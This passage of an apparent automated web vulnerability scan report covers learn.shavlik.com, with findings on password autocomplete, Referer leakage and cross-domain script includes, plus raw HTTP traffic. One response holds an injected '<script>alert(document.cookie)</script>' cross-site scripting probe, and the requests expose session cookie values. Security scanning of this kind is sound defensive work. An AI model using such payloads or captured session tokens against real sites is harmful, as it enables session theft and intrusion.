PSCQKFn4PSCQKEn4PSCQKHn4PSCQKWn4PSCQKZn4PSCQL/gMgDAmAC4IA8AuCAOALggDQC4IAwAryryvkBAu/v5u0MAuCAzAMC4oDMAwLjgMwDAuSAzAMC5YDMAwLmgMwDAveAzAMC+IDMAwLggAwCYALv797tDALggBAC4IDUAwLggNgDAuGANALv79rtDALhgDwC4YA4AuGABAJhAuGADALv79btDALhgAQC4YAYAuGA3AMC4YDQAwLz0b+FBwKxwe2iCQKjrPWEAwLYm6z4CwLCi9reA61NEby+pc1nwwX0Z/nanIJXLeyW" />


                                                                                                           </form>
                                                                                                           
                                               </td>
                                           </tr>


                   </div>




               </div>

               <br / style="clear:both;">

               <div id=footer>
                   Shavlik Technologies, LLC | Privacy Policy | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: sales@shavlik.com
               </div>

            </div>
            <img src="images/SHAV_bottomBar.jpg">
   </div>

</body>
</html>

</html>

5. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/customer-login

Issue detail

The page contains a form with the following action URL:

http://www.oppsource.com/oppsource/login.cfm

The form contains the following password field with autocomplete enabled:

sPassword

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

Response

6. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/index.cfm

Issue detail

The page was loaded from a URL containing a query string:

http://learn.shavlik.com/shavlik/index.cfm?m=521&pg=372&h=0&hp=372

The response contains the following link to another domain:

http://www.burstnet.com/enlightn/7214/98DD/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /shavlik/index.cfm?m=521&pg=372&h=0&hp=372 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=202100691.944756920.1300711269.1300711269.1300711269.1

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:27:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8



























































       
       <script>alert(document.cookie)</script>d0fc81ffcd5|697 -- -->























































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>

<link rel="stylesheet" href="style/style.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>



























































































































































<body>
<img src="http://www.burstnet.com/enlightn/7214//98DD/" width="0" height="0" border="0">

<table align="center">
   <tr>
       <td>
           <img src="images/SHAV_topBar.jpg"><div id="container">

               <div id="logo">
                   <span id="hello">Welcome!</span>
               </div>

               <img src="images/SHAV_logo.jpg" id="logo">
               <img src="images/SHAV_blackLine.jpg" id="logo">

               <div id="content">

                   <table>

                       <tr>


                               <td valign = "top">
<h1>In Vulnerability Management, Eliminating Risk<br>is the Reward</h1>

<p class="copy">Your organization is constantly at risk.
       Thousands of new IT vulnerabilities emerge each year ... if you fall prey to just one,
       the consequences can be devastating.<br /><br />

       What's the most effective way to manage these risks and protect your organization?
       That's exactly what a new Aberdeen Group Report uncovers. Discover Best-in-Class
       strategies for improving vulnerability management and reducing costs</p>
       <br>
       <a href="download.cfm?nFileID=406" target="_blank" style="padding-left:15px;">Download the Aberdeen Group Vulnerability Management Report now.</a>

</td>
<td valign="center">
<a href="download.cfm?nFileID=406" target="_blank"><img src="images/SHAV_offerGraphic_1A.jpg" style="padding:70px 15px 0px 0px; border:none;"></a>
   <br /><br /><br />

</td>


                       </tr>
                   </table>

               </div>

               <div id="Boxes">
                   <table width="913px" align="center">
                       <tr>
                           <td><a style="cursor: pointer;" onclick="userCheck('http://learn.shavlik.com/shavlik/web-20100331-patching-adobe_6751533.flv',408);"><img src="images/SHAV_BlueWebinar_Btn.jpg" border="none" style="padding:15px 0px 0px 15px;"></a></td>
<td><a href="download.cfm?nFileID=407" target="_blank"><img src="images/SHAV_OrangeCS_Btn.jpg" border="none" style="padding:15px 0px 0px 14px;"></a></td>
<td><a href="download.cfm?nFileID=409" target="_blank"><img src="images/SHAV_GreenDwnlod_Btn.jpg" border="none" style="padding:15px 0px 0px 14px;"></a></td>
                       </tr>
                       <tr>
                           <td align="left" class="box-position-left">
<img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>Patching Adobe Software: Tips, Secrets and Solutions</h3>

   <p class="copy">Patching Adobe Software: Tips, Secrets and Solutions
Hear from the experts the best practices to keep your network protected
against Adobe vulnerabilities . View our on-demand webinar to learn how.</p>

<a style="cursor: pointer;" onclick="userCheck('http://learn.shavlik.com/shavlik/web-20100331-patching-adobe_6751533.flv',408);" class="boxLink">Watch the Webinar Now</a>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

<td align="left" class="box-position">
   <img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>Why WSUS Isn't Enough</h3>

   <p class="copy">Multi-national manufacture PZ Cussons found
   for robust patch management, WSUS wasn't enough.
   Find out how they're saving time, reducing costs and
    gaining control and flexibility in a dynamic IT environment.</p>

<a href="download.cfm?nFileID=407" class="boxLink">Read the PZ Cussons Case Study</a>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

<td align="left" class="box-position-right">
<img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>You're 30 Minutes from Powerful Protection</h3>

   <p class="copy">Discover why thousands of companies trust Shavlik
   to manage their assets, patches and remediation ... including automatic configuration.
   With this FREE trial offer, you'll be up and running in just 30 minutes!</p>

<p class="boxLink"><a href="download.cfm?nFileID=409" target="_blank">Download your FREE 45-Day Trial..now</a></p>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

                       </tr>
                   </table>
                   <br />
               </div>

               <div id=footer>Shavlik Technologies, LLC | <a href="http://learn.shavlik.com/shavlik/index.cfm?pg=341" target="_blank" >Privacy Policy</a> | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: <a href="mailto:sales@shavlik.com" >sales@shavlik.com</a></div>
            </div>
            <img src="images/SHAV_bottomBar.jpg">
       </td>
   </tr>
</table>

</body>
</html>

</html>

7. Cross-domain script include previous next
There are 20 instances of this issue:

/
/about-oppsource
/blog
/careers
/contact-us
/content-marketing
/customer-login
/customers
/lead-capture
/lead-funnel-measurement
/lead-management
/lead-nurturing
/lead-scoring
/leadership
/opportunity-handoff
/services
/shavlik/mail-list-patch-management-org.aspx
/shavlik/mail-list-remediator.aspx
/shavlik/mail-list-shavlik-announce.aspx
/shavlik/mail-list-shavlik-xml.aspx

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. http://learn.shavlik.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET / HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 12:57:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Lead Management, Lead Nurturing, Lead Generation, Minneapolis, St. Paul, Minnesota, B2B | OppSource</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » homepage Comments Feed" href="http://www.oppsource.com/homepage/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='About' href='http://www.oppsource.com/about-oppsource/' />
<link rel='next' title='Lead Nurturing' href='http://www.oppsource.com/lead-nurturing/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="OppSource is a Lead Management service organization based in Minneapolis St. Paul Minnesota specializing in lead nurturing, lead scoring, content marketing and e mail marketing. OppSource provides our customers with qualified sales ready opportunities." />
<meta name="keywords" content="Lead Management, Lead Nurturing, Lead Generation, Oppsource, Minneapolis,MN, b2b" />
<link rel="canonical" href="http://www.oppsource.com/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


           <script type="text/javascript" src="/wp-content/themes/oppsource3/script/jquery.cycle.all.min.js"></script> <script type="text/javascript" src="/wp-content/themes/oppsource3/script/jquery.equalheights.js"></script> <script type="text/javascript" src="/wp-content/themes/oppsource3/script/homepage.js"></script>
<p><style type="text/css">
.singleBox p.boxesMarginTopLink {
text-align:right;
}
</style></p>
<p>
<link rel="stylesheet" type="text/css" href="/wp-content/themes/oppsource3/style/homepage.css" /></p>
<p><style type="text/css">
               #slideshowNav a {
                       background:url(/wp-content/themes/oppsource3/images/slideshow_unselected.jpg) no-repeat top;
                   }
                   #slideshowNav a.activeSlide {background:url(/wp-content/themes/oppsource3/images/slideshow_selected.jpg) no-repeat top;}
                   .boxTop{background:url('/wp-content/themes/oppsource3/images/boxTop.jpg') no-repeat white top; }
                   .boxMiddle{background:url('/wp-content/themes/oppsource3/images/boxMiddle.jpg') repeat-y white top;}
                   .boxBottom{background:url('/wp-content/themes/oppsource3/images/boxBottom.jpg') no-repeat white top; }
           </style></p>
<div class="slideshow_wrapper">
<div class="slideshow"><a href="/opportunity-handoff"><img width="861" height="200" alt="Some see marketing leads as an end result. We see them as the beginning of a sales opportunity." src="/wp-content/themes/oppsource3/images/slide1.gif" /></a>                        <a href="/lead-funnel-measurement"><img width="861" height="200" alt="Traditional lead management systems waste opportunities. So we built a better one." src="/wp-content/themes/oppsource3/images/slide2.gif" /></a>                        <a href="/content-marketing"><img width="861" height="200" alt="Leads need to be led" src="/wp-content/themes/oppsource3/images/slide3.gif" /></a>                        <a href="/lead-capture"><img width="861" height="200" alt="We grow your leads into sales" src="/wp-content/themes/oppsource3/images/slide4.gif" /></a>                        <a href="/lead-scoring"><img width="861" height="200" alt="Knowing where your customers stand at all times" src="/wp-content/themes/oppsource3/images/slide5.gif" /></a></div>
</div>
<div id="content">
<h1 style="">The <span class="orangeTxt">Pursuit</span> of Demand</h1>
<p style="margin-top: 15px; font-size: 15px; line-height: 18px;">Generating and nurturing leads into sales opportunities and creating demand is what OppSource is all    about. We provide an essential connection between marketing and sales that can significantly improve    your company...s return on marketing investment. Our lead management process is more personalized    than the one-dimensional automation solutions offered by other companies ... and more cost-efficient    because you don...t need to hire on-staff expertise. <a style="font-size: 15px;" href="http://oppsource.com/oppsource/offer/corpProfile.pdf">Learn More about OppSource</a></p>
</div>
<div class="colorBoxes">
<div class="boxTop">
<div id="orangeBoxTop">
<div id="orangeBoxTopInner">
<h2 style="">News</h2>
</div>
</div>
<div id="greenBoxTop">
<div id="greenBoxTopInner">
<h2>Helpful Information</h2>
</div>
</div>
<div id="grayBoxTop">
<div id="grayBoxTopInner">
<h2>White Papers</h2>
</div>
</div>
<div id="blackBoxTop">
<div id="blackBoxTopInner">
<h2 style="">Expert Advice</h2>
</div>
</div>
</div>
<div class="boxMiddle">
<div class="orangeBoxMiddle singleBox">
<div style="padding: 10px 10px 0pt; line-height: 0px;" class="orangeBoxMiddle_inner"><a href="http://20women2watch.com/" target="_blank"><img src="http://www.oppsource.com/wp-content/uploads/2010/11/opp_web_sponsor21.jpg" alt="OppSource.com sponsoring the 2011 20 women to watch in sales lead management" /></a></div>
</div>
<div class="greenBoxMiddle singleBox">
<div class="greenBoxMiddle_inner">
<p style="font-weight: bold;">Some of the helpful LINKS we...ve found on the web.</p>
<a href="http://www.emarketer.com/" target="_blank"><img style="margin-top: 20px;" alt="Emarketer.com" src="/wp-content/themes/oppsource3/images/emarketer.jpg" /></a> <a href="http://www.btobonline.com/" target="_blank"><img style="margin-top: 20px;" alt="btobonline.com" src="/wp-content/themes/oppsource3/images/btb.jpg" /></a></div>
</div>
<div class="grayBoxMiddle singleBox">
<div class="grayBoxMiddle_inner" style="padding: 17px 10px 0pt;">
<p><a href="http://www.oppsource.com/oppsource/offer/?m=765&pg=465">Lead Management Best Practices: <span style="font-weight: normal;">6 pillars to an effective lead management program.</span></a></p>
<p class="boxesMarginTop boxesMarginTopLink"><a href="http://www.oppsource.com/oppsource/offer/?m=765&pg=465"><span style="color: #f26531; font-size: 13px;">Read the White Paper >></span></a></p>
<p class="boxesMarginTop"><a href="http://www.oppsource.com/oppsource/offer/?m=766&pg=466">CEO INSIGHTS: <span style="font-weight: normal;">Why the marketing funnel deserves your attention.</span></a></p>
<p class="boxesMarginTop boxesMarginTopLink"><a href="http://www.oppsource.com/oppsource/offer/?m=766&pg=466"><span style="color: #f26531; font-size: 13px;">Read the White Paper >></span></a></p>
</div>
</div>
<div class="blackBoxMiddle singleBox">
<div class="blackBoxMiddle_inner">
<p style="font-weight: bold;">President, Mark Galloway gives us some insights into Sales, Marketing and Growth.</p>
</div>
</div>
</div>
<div class="boxBottom">
<div class="orangeBoxBottom">
<div class="orangeBoxBottom_inner"> </div>
</div>
<div class="greenBoxBottom">
<div class="greenBoxBottom_inner"> </div>
</div>
<div class="grayBoxBottom">
<div class="grayBoxBottom_inner"> </div>
</div>
<div class="blackBoxBottom">
<div class="blackBoxBottom_inner"><a href="/author/mark-galloway/"><img id="blogPoster" src="http://www.oppsource.com/wp-content/uploads/2010/12/blogPoster.png" alt="" /></a><a href="/author/mark-galloway/"><img alt="" id="shadowClickHere" src="/wp-content/themes/oppsource3/images/readTheBlog.png" /></a></div>
</div>
</div>
</div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.2. http://learn.shavlik.com/about-oppsource previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/about-oppsource

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /about-oppsource HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

7.3. http://learn.shavlik.com/blog previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/blog

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /blog HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Blog, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<meta name="generator" content="WordPress 3.0.1" />




<meta name="description" content="Learn more about lead management practices and receive new and updated information by following OppSource...s blog." />
<meta name="keywords" content="account optimization,content marketing,lead generation,lead nurturing,sales-ready,lead management,prospecting,b2b marketing,marketing automation,sales cycle,engagement marketing,how people read online,mobile computing,lead qualification,sales effectiveness,opportunity creation,qualified opportunities,email marketing,lead scoring,leads,contagious content,marketing,online marketing" />

<link rel="canonical" href="http://www.oppsource.com/blog/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

